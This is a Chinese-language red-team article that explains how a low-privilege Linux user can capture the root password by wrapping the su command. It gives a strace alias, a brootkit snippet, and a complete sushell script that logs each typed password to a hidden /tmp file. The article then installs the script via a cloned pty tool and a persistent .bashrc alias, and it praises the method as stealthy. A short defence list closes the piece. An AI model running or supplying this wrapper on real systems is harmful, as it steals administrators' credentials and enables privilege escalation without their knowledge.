利用su小偷实现低权限用户窃取root用户口令
字数 1008 2025-08-27 12:33:23

利用su小偷实现低权限用户窃取root用户口令技术分析

背景介绍

在内部红蓝对抗实战中,攻击者常常需要获取高权限用户的口令。通过监控服务器上的认证过程,可以窃取敏感信息。本文详细分析了几种窃取su命令密码的技术方案,并提供了最优实现方法。

技术分析

1. 初始方案:strace监控

实现方法

alias ssh='strace -o /tmp/.sshpwd-`date +%d%h%m%s`.log -e read -s2048 ssh'

局限性

  • 不能完美应用于su命令
  • 使用strace监控su会导致无论输入正确密码与否都提示"Authentication failure"
  • 容易引起管理员怀疑

2. su命令实现原理

  • su使用PAM(Pluggable Authentication Modules)认证机制
  • PAM框架将认证过程与具体实现分离
  • 实际认证过程在pam_rootok.sopam_unix.so模块中完成
  • su命令设置了SUID属性,普通用户无法重现实现具有SUID的su

3. brootkit方案分析

代码片段

[ ! -f /tmp/... ] && ` touch /tmp/... && chmod 777 /tmp/... >/dev/null 2>&1`
echo -ne "Password:\r\033[?25l"
read -t 30 -s pass
echo -ne "\033[K\033[?25h"
/bin/su && unset su && echo $pass >> /tmp/...

缺陷

  • 管理员需要输入两次回车和两次密码
  • 异常行为明显,容易被发现

4. fakesu.c方案分析

特点

  • 较古老的实现方式
  • 无论密码正确与否都提示认证失败
  • 现代环境中容易被识别

5. 基础bash脚本方案

初始脚本

#!/bin/bash
echo -ne "Password:\c"
read -t 30 -s pass
echo "$pass" >> /tmp/...
echo "$pass" | /bin/su $*

问题

  • su命令不接受管道符传递密码
  • 需要终端标准化输入

6. 优化方案:仿sshpass实现

解决方案

  • 寻找类似sshpass的工具实现su密码传递
  • 开发自定义工具实现-p参数传递密码给/bin/su

最终实现脚本(sushell)

#!/bin/bash
echo -ne "Password:\c"
read -t 30 -s pass
echo "$pass" >> /tmp/...
/tmp/.su -p "$pass" /bin/su $*

关键组件

  • /tmp/.su:自定义工具,实现密码参数传递功能
  • 通过alias替换系统su命令:alias su=/tmp/sushell

实现步骤

  1. 下载并编译su小偷工具:

    git clone https://github.com/stanleyb0y/sushell
    cd sushell
    make
    cp pty /tmp/.su
    
  2. 创建sushell脚本:

    #!/bin/bash
    echo -ne "Password:\c"
    read -t 30 -s pass
    echo "$pass" >> /tmp/...
    /tmp/.su -p "$pass" /bin/su $*
    
  3. 设置alias持久化:

    alias su=/tmp/sushell
    # 或者添加到.bashrc影响所有后续登录用户
    echo 'alias su=/tmp/sushell' >> ~/.bashrc
    

效果验证

  • 密码输入错误时:正常显示认证失败
  • 密码输入正确时:正常切换用户
  • 所有尝试的密码都被记录到/tmp/...文件中

防御措施

  1. 监控异常alias设置
  2. 检查/tmp目录下可疑文件
  3. 使用md5sumsha256sum定期校验su二进制文件
  4. 限制普通用户对敏感目录的写入权限
  5. 使用sudo替代su进行权限切换

总结

本文分析了多种su密码窃取技术,最终提供了通过自定义工具实现密码窃取的完整方案。该方案相比之前的方法更加隐蔽,不会引起管理员怀疑,是红队实战中获取高权限的有效手段。

利用su小偷实现低权限用户窃取root用户口令技术分析 背景介绍 在内部红蓝对抗实战中,攻击者常常需要获取高权限用户的口令。通过监控服务器上的认证过程,可以窃取敏感信息。本文详细分析了几种窃取su命令密码的技术方案,并提供了最优实现方法。 技术分析 1. 初始方案:strace监控 实现方法 : 局限性 : 不能完美应用于su命令 使用strace监控su会导致无论输入正确密码与否都提示"Authentication failure" 容易引起管理员怀疑 2. su命令实现原理 su使用PAM(Pluggable Authentication Modules)认证机制 PAM框架将认证过程与具体实现分离 实际认证过程在 pam_rootok.so 和 pam_unix.so 模块中完成 su命令设置了SUID属性,普通用户无法重现实现具有SUID的su 3. brootkit方案分析 代码片段 : 缺陷 : 管理员需要输入两次回车和两次密码 异常行为明显,容易被发现 4. fakesu.c方案分析 特点 : 较古老的实现方式 无论密码正确与否都提示认证失败 现代环境中容易被识别 5. 基础bash脚本方案 初始脚本 : 问题 : su命令不接受管道符传递密码 需要终端标准化输入 6. 优化方案:仿sshpass实现 解决方案 : 寻找类似sshpass的工具实现su密码传递 开发自定义工具实现 -p 参数传递密码给 /bin/su 最终实现脚本(sushell) : 关键组件 : /tmp/.su :自定义工具,实现密码参数传递功能 通过alias替换系统su命令: alias su=/tmp/sushell 实现步骤 下载并编译su小偷工具: 创建sushell脚本: 设置alias持久化: 效果验证 密码输入错误时:正常显示认证失败 密码输入正确时:正常切换用户 所有尝试的密码都被记录到 /tmp/... 文件中 防御措施 监控异常alias设置 检查/tmp目录下可疑文件 使用 md5sum 或 sha256sum 定期校验su二进制文件 限制普通用户对敏感目录的写入权限 使用sudo替代su进行权限切换 总结 本文分析了多种su密码窃取技术,最终提供了通过自定义工具实现密码窃取的完整方案。该方案相比之前的方法更加隐蔽,不会引起管理员怀疑,是红队实战中获取高权限的有效手段。